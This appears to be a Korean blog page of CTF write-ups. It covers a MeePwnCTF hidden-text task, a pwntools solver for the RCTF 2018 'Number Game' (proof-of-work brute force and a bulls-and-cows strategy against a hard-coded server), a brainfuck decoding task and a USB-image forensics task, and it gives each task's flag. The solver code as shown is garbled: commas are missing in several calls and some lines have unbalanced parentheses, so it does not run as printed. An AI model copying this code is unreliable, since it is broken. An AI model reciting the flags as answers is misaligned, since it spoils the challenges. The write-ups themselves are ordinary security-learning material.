원래 헤더는 50 4B 03 04 여서, 원래대로 고쳐주었습니다. 


그리고 압축을 풀면 message.pdf가 나옵니다. 내용은 셜록홈즈의 명대사인 "불가능을 제외하고 남는 것이, 그 설령 믿을수 없다해도 진실이다!"에 대한 내용입니다. 여기서 또  뭐가 있지??? 하면서 글을 복사해서 일반 메모장에 붙여넣기해보니, 숨겨진 메세지를 찾을 수 있었습니다.



이 메세지를 긁어서 메모장에 복사해보면 숨겨진 메세지를 찾을 수 있습니다.





이어붙여보면 플래그가 나옵니다

MeePwnCTF{T3xt_Und3r_t3Xt!!!!}

RCTF 2018 Misc문제인 Number Game 풀이 소스이다.


writeup은 이쪽 (사용한 알고리즘 및 소스 원본은 이쪽)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import hashlib
import string
import itertools
import time
from itertools import permutations
 
 
conn = remote('149.28.139.172'10002)
 
##bulls and cows solver
TYPE_MODE_TEST = 'TEST'
TYPE_MODE_DEBUG = 'DEBUG'
TYPE_MODE_GAME = 'GAME'
CONFIG_MODE = TYPE_MODE_GAME
 
CONFIG_POOL = ["0","1","2","3","4","5","6","7","8","9"]
CONFIG_NUM_DIGIT = 4
 
POTEN = [] # POTENTIAL OF STRIKE, BALL PAIRS
#POTEN = [(0, 0), (0, 1), (0, 2), (0, 3), (1, 0), (1, 1), (1, 2), (2, 0), (2, 1), (3, 0)]
for s in range(CONFIG_NUM_DIGIT + 1):
    for b in range(CONFIG_NUM_DIGIT + 1):
        if s + b <= CONFIG_NUM_DIGIT:
            POTEN.append((s, b))
WIN_KEY = '%dS0B'%(CONFIG_NUM_DIGIT)
 
def is_allowed_number(number):
    _number = str(number)
    return len(_number) == CONFIG_NUM_DIGIT and \
           len(set(_number)) == CONFIG_NUM_DIGIT and \
           all(int(i) in CONFIG_POOL for i in _number)
 
SET_POOL = set(CONFIG_POOL)
ALL_NUMBERS = [int(''.join(number)) for number in permutations(CONFIG_POOL,4)]
 
#print(ALL_NUMBERS)
CONFIG_POOL = [0,1,2,3,4,5,6,7,8,9]
 
TEST_ACCELERATION_INDEX = {}
def get_to_index(SB_history):
    a = TEST_ACCELERATION_INDEX
    for key in SB_history:
        if key not in a:
            return None
        a = a[key]
    return a['Q']
 
def set_to_index(SB_history, new_question):
    a = TEST_ACCELERATION_INDEX
    for key in SB_history[:-1]:
        a = a[key]
    a[SB_history[-1]] = {'Q': new_question}
 
def calc_s_and_b(q, a):
    _q = str(q).rjust(4'0')
    _a = str(a).rjust(4'0')
    s = 0
    b = 0
    for i in range(CONFIG_NUM_DIGIT):
        if _q[i] == _a[i]:
            s += 1
        elif _q[i] in _a:
            b += 1
    return s, b
 
def calc_pool(q, s, b, pool):
    result = 0
    _q = str(q)
    for a in pool:
        _s, _b = calc_s_and_b(_q, a)
        if s == _s and b == _b:
            result += 1
    return result
 
def update_pool(q, s, b, pool):
    result = []
    _q = str(q).rjust(4'0')
    for a in pool:
        _s, _b = calc_s_and_b(_q, a)
        if s == _s and b == _b:
            result.append(a)
    return result
 
def calc_best_question(a_pool, history):
    q_pool = []
    before_count = len(a_pool)
    if before_count == 1:
        return a_pool[0], True
    before_count = float(before_count)
 
    duplicates = set()
    for q in ALL_NUMBERS:
        q_str = str(q).rjust(4'0')
        for i in CONFIG_POOL:
            if i not in history:
                q_str = q_str.replace(str(i), 'X')
        if q_str in duplicates:
            continue
        duplicates.add(q_str)
        q_pool.append(q)
 
    best = 0.0
    recom = None
    _q = 0
    dups = []
 
    if CONFIG_MODE == TYPE_MODE_DEBUG:
        print 'A Pool: %s'%(a_pool)
    for q in q_pool:
        result = {}
        cache = {}
        total = 0.0
        for s, b in POTEN:
            remain_count = calc_pool(q, s, b, a_pool)
            if remain_count == 0:
                continue
            total += remain_count
            key = '%dS%dB'%(s,b)
            cache[key] = remain_count
            result[key] = remain_count
 
        is_duplicate = False
        for dup in dups:
            if dup.keys() == cache.keys():
                check = []
                for key in cache:
                    check.append( cache[key] == dup[key] )
                if all(check):
                    is_duplicate = True
                    break
 
        if is_duplicate:
            continue
        dups.append(cache)
 
        if CONFIG_MODE == TYPE_MODE_DEBUG:
            print 'Answer: %s'%(q)
        score = 0.0
        for key in sorted(result.keys(), key=lambda x: result[x], reverse=True):
            probability = result[key] / before_count
            if key == WIN_KEY:
                score += probability * (before_count - result[key] + 1/ before_count
            else:
                score += probability * (before_count - result[key]) / before_count
        score *= 10
        if CONFIG_MODE == TYPE_MODE_DEBUG:
            print 'Score: %.2f'%(score)
        if best < score:
            best = score
            recom = result
            _q = q
 
 
    if CONFIG_MODE == TYPE_MODE_DEBUG or CONFIG_MODE == TYPE_MODE_GAME:
        guessNum = str(_q).rjust(4'0')
        guessNum = guessNum[0]+" "+guessNum[1]+" "+guessNum[2]+" "+guessNum[3]
        #print(guessNum)
        conn.sendline(guessNum)
        print 'Recommend Answer: %s'%( guessNum )
    result = recom
    score = 0.0
    for key in sorted(result.keys(), key=lambda x: result[x], reverse=True):
        probability = result[key] / before_count
        if key == WIN_KEY:
            score += probability * (before_count - result[key] + 1/ before_count
        else:
            score += probability * (before_count - result[key]) / before_count
    score *= 10
    if CONFIG_MODE == TYPE_MODE_DEBUG or CONFIG_MODE == TYPE_MODE_GAME:
        print 'Score: %.2f'%(score)
 
    return _q, len(result) <= 1 # FINISH
 
def interactive_game():
    pool = ALL_NUMBERS
    history = set()
    count = 0
    while True:
        q, is_finished = calc_best_question(pool, history)
        
        if is_finished:
            # START NEW GAME
            print 'Game Finished! Answer: %d, Question Count: %d'%(q, count)
            pool = ALL_NUMBERS
            history.clear()
            count = 0
            
            guessNum = str(q).rjust(4'0')
            guessNum = guessNum[0]+" "+guessNum[1]+" "+guessNum[2]+" "+guessNum[3]
            #print(guessNum)
            conn.sendline(guessNum)
            print(conn.recvline())
            return
            
        count += 1
        result = conn.recvline()
        if "Nope" in result:
            print(result)
        else:
            print(result)
            print 'Game Finished! Answer: %d, Question Count: %d'%(q, count)
            pool = ALL_NUMBERS
            history.clear()
            count = 0
            return
        result = result[6:]
        bulls, cows = result.split(",")
        
        s = int(bulls.strip())
        b = int(cows.strip())
        #print("s:%d b:%d" %(s,b))
        pool = update_pool(q, s, b, pool)
 
        # HISTORY UPDATE (USED NUMBER)
        for i in range(CONFIG_NUM_DIGIT):
            history.add(q % 10)
            q /= 10
 
 
alphabet = string.digits+string.ascii_letters
 
result = conn.recvline()
print(result)
 
shaHash=result.split(" == ")[1].strip()
 
prefix = result.split(")")[0].strip()
prefix = prefix.split("+")[1].strip()
print(prefix)
print(conn.recvuntil('Give me XXXX:'))
 
for cand in itertools.product(alphabet, repeat=4):
    cand = ''.join(cand)
    cand_word = cand+prefix
    cand_word = cand_word.encode('utf8')
    digest = hashlib.sha256(cand_word).hexdigest()
    if digest == shaHash: # and ord(digest[3]) >= 0xF0:
        conn.sendline(cand)
        break
 
level = 0
        
##stage1
conn.recvuntil("GLHF")
conn.recvline()
conn.recvline()
while(1):
    if level == 8:
        print(recv)
        conn.interactive()
    level+=1
    recv = conn.recv(1)
    recv += conn.recv(1)
    recv += conn.recv(1)
    if "==" in recv:
        print(conn.recvline())
        conn.recvline()
    elif "Gi" in recv:
        print(recv)
    else:
        print(conn.recvline())
        conn.recvline()
    interactive_game()
conn.interactive()
 
cs


난해한 프로그래밍 언어2017.08.01 12:19 신고

나무위키에 나온 난해한 프로그래밍 언어... 
https://namu.wiki/w/%EB%82%9C%ED%95%B4%ED%95%9C%20%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D%20%EC%96%B8%EC%96%B4


Bugs_BunnyCTF에서 나온 문제 중 하나

 Crypto-20

Decode the message !


++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>----. >+++++++++++++++++. --------------. ++++++++++++. --------------------. <. >++++++++++++++++++++++. -------. . +++++++++++. ++. <. >---------. <--------------. ---. +++++++++++++++++++++++++++++. +++++++++++++++++. -------------------------. >+++. <<++++++++++++. . >>++++++++.





브레인퍽이란 언어...
https://namu.wiki/w/BrainFuck?from=%EB%B8%8C%EB%A0%88%EC%9D%B8%ED%8D%BD


브레인퍽 인터프리터

https://sange.fi/esoteric/brainfuck/impl/interp/i.html





답 : Bugs_Bunny{Br41N_Fu**}


 

USB ENCRYPTION

FORENSICS, 30

We've made a copy of defund's flash drive, which seems to be protected by a usb encryption software. Retrieve the flag.



Not really a hint, but this is an actual software.



위 문제에서 DEFUND.dmg라는 파일을 제공해준다.


AccessData FTK Imager 을 이용하여 dmg 파일을 열어보았다.

뭔가 많다.


그 USB encryption software라는건 USBSecurity.exe 라는 걸로.. 진짜 있는 프로그램이다...(!???)


뭐;; 알바없고


열어서 [root]/Thumbs.us/com1.{~~~}/~~/~~/flag.txt를 발견



actf{not_quite_usb_encryption}


와~ 끝;;

+ Recent posts